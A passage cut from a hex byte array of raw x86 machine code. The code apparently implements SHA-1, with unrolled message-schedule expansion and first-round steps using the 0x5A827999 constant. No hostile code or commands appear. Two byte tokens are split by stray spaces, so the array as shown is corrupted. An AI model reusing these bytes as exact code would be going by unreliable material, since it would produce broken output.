0x00, 0xA1, 0x3C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x28, 0x41, 0x40, 0x00, 0x33, 0x05, 0x10, 0x41, 0x40, 0x00, 0x33, 0x05, 0x08, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x48, 0x41, 0x40, 0x00, 0xA1, 0x40, 0x41, 0x40, 0x00, 0x33, 0x05, 0x2C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x14, 0x41, 0x40, 0x00, 0x33, 0x05, 0x0C, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x4C, 0x41, 0x40, 0x00, 0xA1, 0x44, 0x41, 0x40, 0x00, 0x33, 0x05, 0x30, 0x41, 0x40, 0x00, 0x33, 0x05, 0x18, 0x41, 0x40, 0x00, 0x33, 0x05, 0x10, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x50, 0x41, 0x40, 0x00, 0xA1, 0x48, 0x41, 0x40, 0x00, 0x33, 0x05, 0x34, 0x41, 0x40, 0x00, 0x33, 0x05, 0x1C, 0x41, 0x40, 0x00, 0x3 3, 0x05, 0x14, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x54, 0x41, 0x40, 0x00, 0xA1, 0x4C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x38, 0x41, 0x40, 0x00, 0x33, 0x05, 0x20, 0x41, 0x40, 0x00, 0x33, 0x05, 0x18, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x58, 0x41, 0x40, 0x00, 0xA1, 0x50, 0x41, 0x40, 0x00, 0x33, 0x05, 0x3C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x24, 0x41, 0x40, 0x00, 0x33, 0x05, 0x1C, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x5C, 0x41, 0x40, 0x00, 0xA1, 0x54, 0x41, 0x40, 0x00, 0x33, 0x05, 0x40, 0x41, 0x40, 0x00, 0x33, 0x05, 0x28, 0x41, 0x40, 0x00, 0x33, 0x05, 0x20, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x60, 0x41, 0x40, 0x00, 0xA1, 0x58, 0x41, 0x40, 0x00, 0x33, 0x05, 0x44, 0x41, 0x40, 0x00, 0x33, 0x05, 0x2C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x24, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x64, 0x41, 0x40, 0x00, 0xA1, 0x5C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x48, 0x41, 0x40, 0x00, 0x33, 0x05, 0x30, 0x41, 0x40, 0x00, 0x33, 0x05, 0x28, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x68, 0x41, 0x40, 0x00, 0xA1, 0x60, 0x41, 0x40, 0x00, 0x33, 0x05, 0x4C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x34, 0x41, 0x40, 0x00, 0x33, 0x05, 0x2C, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x6C, 0x41, 0x40, 0x00, 0xA1, 0x64, 0x41, 0x40, 0x00, 0x33, 0x05, 0x50, 0x41, 0x40, 0x00, 0x33, 0x05, 0x38, 0x41, 0x40, 0x00, 0x33, 0x05, 0x30, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x70, 0x41, 0x40, 0x00, 0xA1, 0x68, 0x41, 0x40, 0x00, 0x33, 0x05, 0x54, 0x41, 0x40, 0x00, 0x33, 0x05, 0x3C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x34, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x74, 0x41, 0x40, 0x00, 0xA1, 0x6C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x58, 0x41, 0x40, 0x00, 0x33, 0x05, 0x40, 0x41, 0x40, 0x00, 0x33, 0x05, 0x38, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x78, 0x41, 0x40, 0x00, 0xA1, 0x70, 0x41, 0x40, 0x00, 0x33, 0x05, 0x5C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x44, 0x41, 0x40, 0x00, 0x33, 0x05, 0x3C, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x7C, 0x41, 0x40, 0x00, 0xA1, 0x74, 0x41, 0x40, 0x00, 0x33, 0x05, 0x60, 0x41, 0x40, 0x00, 0x33, 0x05, 0x48, 0x41, 0x40, 0x00, 0x33, 0x05, 0x40, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x80, 0x41, 0x40, 0x00, 0xA1, 0x78, 0x41, 0x40, 0x00, 0x33, 0x05, 0x64, 0x41, 0x40, 0x00, 0x33, 0x05, 0x4C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x44, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x84, 0x41, 0x40, 0x00, 0xA1, 0x7C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x68, 0x41, 0x40, 0x00, 0x33, 0x05, 0x50, 0x41, 0x40, 0x00, 0x33, 0x05, 0x48, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x88, 0x41, 0x40, 0x00, 0xA1, 0x80, 0x41, 0x40, 0x00, 0x33, 0x05, 0x6C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x54, 0x41, 0x40, 0x00, 0x33, 0x05, 0x4C, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x8C, 0x41, 0x40, 0x00, 0xA1, 0x84, 0x41, 0x40, 0x00, 0x33, 0x05, 0x70, 0x41, 0x40, 0x00, 0x33, 0x05, 0x58, 0x41, 0x40, 0x00, 0x33, 0x05, 0x50, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x90, 0x41, 0x40, 0x00, 0xA1, 0x88, 0x41, 0x40, 0x00, 0x33, 0x05, 0x74, 0x41, 0x40, 0x00, 0x33, 0x05, 0x5C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x54, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x94, 0x41, 0x40, 0x00, 0xA1, 0x8C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x78, 0x41, 0x40, 0x00, 0x33, 0x05, 0x60, 0x41, 0x40, 0x00, 0x33, 0x05, 0x58, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x98, 0x41, 0x40, 0x00, 0xA1, 0x90, 0x41, 0x40, 0x00, 0x33, 0x05, 0x7C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x64, 0x41, 0x40, 0x00, 0x33, 0x05, 0x5C, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x9C, 0x41, 0x40, 0x00, 0xA1, 0x94, 0x41, 0x40, 0x00, 0x33, 0x05, 0x80, 0x41, 0x40, 0x00, 0x33, 0x05, 0x68, 0x41, 0x40, 0x00, 0x33, 0x05, 0x60, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xA0, 0x41, 0x40, 0x00, 0xA1, 0x98, 0x41, 0x40, 0x00, 0x33, 0x05, 0x84, 0x41, 0x40, 0x00, 0x33, 0x05, 0x6C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x64, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xA4, 0x41, 0x40, 0x00, 0xA1, 0x9C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x88, 0x41, 0x40, 0x00, 0x33, 0x05, 0x70, 0x41, 0x40, 0x00, 0x33, 0x05, 0x68, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xA8, 0x41, 0x40, 0x00, 0xA1, 0xA0, 0x41, 0x40, 0x00, 0x33, 0x05, 0x8C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x74, 0x41, 0x40, 0x00, 0x33, 0x05, 0x6C, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xAC, 0x41, 0x40, 0x00, 0xA1, 0xA4, 0x41, 0x40, 0x00, 0x33, 0x05, 0x90, 0x41, 0x40, 0x00, 0x33, 0x05, 0x78, 0x41, 0x40, 0x00, 0x33, 0x05, 0x70, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xB0, 0x41, 0x40, 0x00, 0xA1, 0xA8, 0x41, 0x40, 0x00, 0x33, 0x05, 0x94, 0x41, 0x40, 0x00, 0x33, 0x05, 0x7C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x74, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xB4, 0x41, 0x40, 0x00, 0xA1, 0xAC, 0x41, 0x40, 0x00, 0x33, 0x05, 0x98, 0x41, 0x40, 0x00, 0x33, 0x05, 0x80, 0x41, 0x40, 0x00, 0x33, 0x05, 0x78, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xB8, 0x41, 0x40, 0x00, 0xA1, 0xB0, 0x41, 0x40, 0x00, 0x33, 0x05, 0x9C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x84, 0x41, 0x40, 0x00, 0x33, 0x05, 0x7C, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xBC, 0x41, 0x40, 0x00, 0xA1, 0xB4, 0x41, 0x40, 0x00, 0x33, 0x05, 0xA0, 0x41, 0x40, 0x00, 0x33, 0x05, 0x88, 0x41, 0x40, 0x00, 0x33, 0x05, 0x80, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xC0, 0x41, 0x40, 0x00, 0xA1, 0xB8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xA4, 0x41, 0x40, 0x00, 0x33, 0x05, 0x8C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x84, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xC4, 0x41, 0x40, 0x00, 0xA1, 0xBC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xA8, 0x41, 0x40, 0x00, 0x33, 0x05, 0x90, 0x41, 0x40, 0x00, 0x33, 0x05, 0x88, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xC8, 0x41, 0x40, 0x00, 0xA1, 0xC0, 0x41, 0x40, 0x00, 0x33, 0x05, 0xAC, 0x41, 0x40, 0x00, 0x33, 0x05, 0x94, 0x41, 0x40, 0x00, 0x33, 0x05, 0x8C, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xCC, 0x41, 0x40, 0x00, 0xA1, 0xC4, 0x41, 0x40, 0x00, 0x33, 0x05, 0xB0, 0x41, 0x40, 0x00, 0x33, 0x05, 0x98, 0x41, 0x40, 0x00, 0x33, 0x05, 0x90, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xD0, 0x41, 0x40, 0x00, 0xA1, 0xC8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xB4, 0x41, 0x40, 0x00, 0x33, 0x05, 0x9C, 0x41, 0x40, 0x00, 0x33, 0x05, 0x94, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xD4, 0x41, 0x40, 0x00, 0xA1, 0xCC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xB8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xA0, 0x41, 0x40, 0x00, 0x33, 0x05, 0x98, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xD8, 0x41, 0x40, 0x00, 0xA1, 0xD0, 0x41, 0x40, 0x00, 0x33, 0x05, 0xBC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xA4, 0x41, 0x40, 0x00, 0x33, 0x05, 0x9C, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xDC, 0x41, 0x40, 0x00, 0xA1, 0xD4, 0x41, 0x40, 0x00, 0x33, 0x05, 0xC0, 0x41, 0x40, 0x00, 0x33, 0x05, 0xA8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xA0, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xE0, 0x41, 0x40, 0x00, 0xA1, 0xD8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xC4, 0x41, 0x40, 0x00, 0x33, 0x05, 0xAC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xA4, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xE4, 0x41, 0x40, 0x00, 0xA1, 0xDC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xC8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xB0, 0x41, 0x40, 0x00, 0x33, 0x05, 0xA8, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xE8, 0x41, 0x40, 0x00, 0xA1, 0xE0, 0x41, 0x40, 0x00, 0x33, 0x05, 0xCC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xB4, 0x41, 0x40, 0x00, 0x33, 0x05, 0xAC, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xEC, 0x41, 0x40, 0x00, 0xA1, 0xE4, 0x41, 0x40, 0x00, 0x33, 0x05, 0xD0, 0x41, 0x40, 0x00, 0x33, 0x05, 0xB8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xB0, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xF0, 0x41, 0x40, 0x00, 0xA1, 0xE8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xD4, 0x41, 0x40, 0x00, 0x33, 0x05, 0xBC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xB4, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xF4, 0x41, 0x40, 0x00, 0xA1, 0xEC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xD8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xC0, 0x41, 0x40, 0x00, 0x33, 0x05, 0xB8, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xF8, 0x41, 0x40, 0x00, 0xA1, 0xF0, 0x41, 0x40, 0x00, 0x33, 0x05, 0xDC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xC4, 0x41, 0x40, 0x00, 0x33, 0x05, 0xBC, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0xFC, 0x41, 0x40, 0x00, 0xA1, 0xF4, 0x41, 0x40, 0x00, 0x33, 0x05, 0xE0, 0x41, 0x40, 0x00, 0x33, 0x05, 0xC8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xC0, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x00, 0x42, 0x40, 0x00, 0xA1, 0xF8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xE4, 0x41, 0x40, 0x00, 0x33, 0x05, 0xCC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xC4, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x04, 0x42, 0x40, 0x00, 0xA1, 0xFC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xE8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xD0, 0x41, 0x40, 0x00, 0x33, 0x05, 0xC8, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x08, 0x42, 0x40, 0x00, 0xA1, 0x00, 0x42 , 0x40, 0x00, 0x33, 0x05, 0xEC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xD4, 0x41, 0x40, 0x00, 0x33, 0x05, 0xCC, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x0C, 0x42, 0x40, 0x00, 0xA1, 0x04, 0x42, 0x40, 0x00, 0x33, 0x05, 0xF0, 0x41, 0x40, 0x00, 0x33, 0x05, 0xD8, 0x41, 0x40, 0x00, 0x33, 0x05, 0xD0, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x10, 0x42, 0x40, 0x00, 0xA1, 0x08, 0x42, 0x40, 0x00, 0x33, 0x05, 0xF4, 0x41, 0x40, 0x00, 0x33, 0x05, 0xDC, 0x41, 0x40, 0x00, 0x33, 0x05, 0xD4, 0x41, 0x40, 0x00, 0xD1, 0xC0, 0xA3, 0x14, 0x42, 0x40, 0x00, 0xBE, 0x99, 0x79, 0x82, 0x5A, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0xD8, 0x40, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0xDC, 0x40, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0xE0, 0x40, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0xE4, 0x40, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0xE8, 0x40, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0xEC, 0x40, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0xF0, 0x40, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0xF4, 0x40, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0xF8, 0x40, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0xFC, 0x40, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0x00, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0x04, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0x08, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0x0C, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 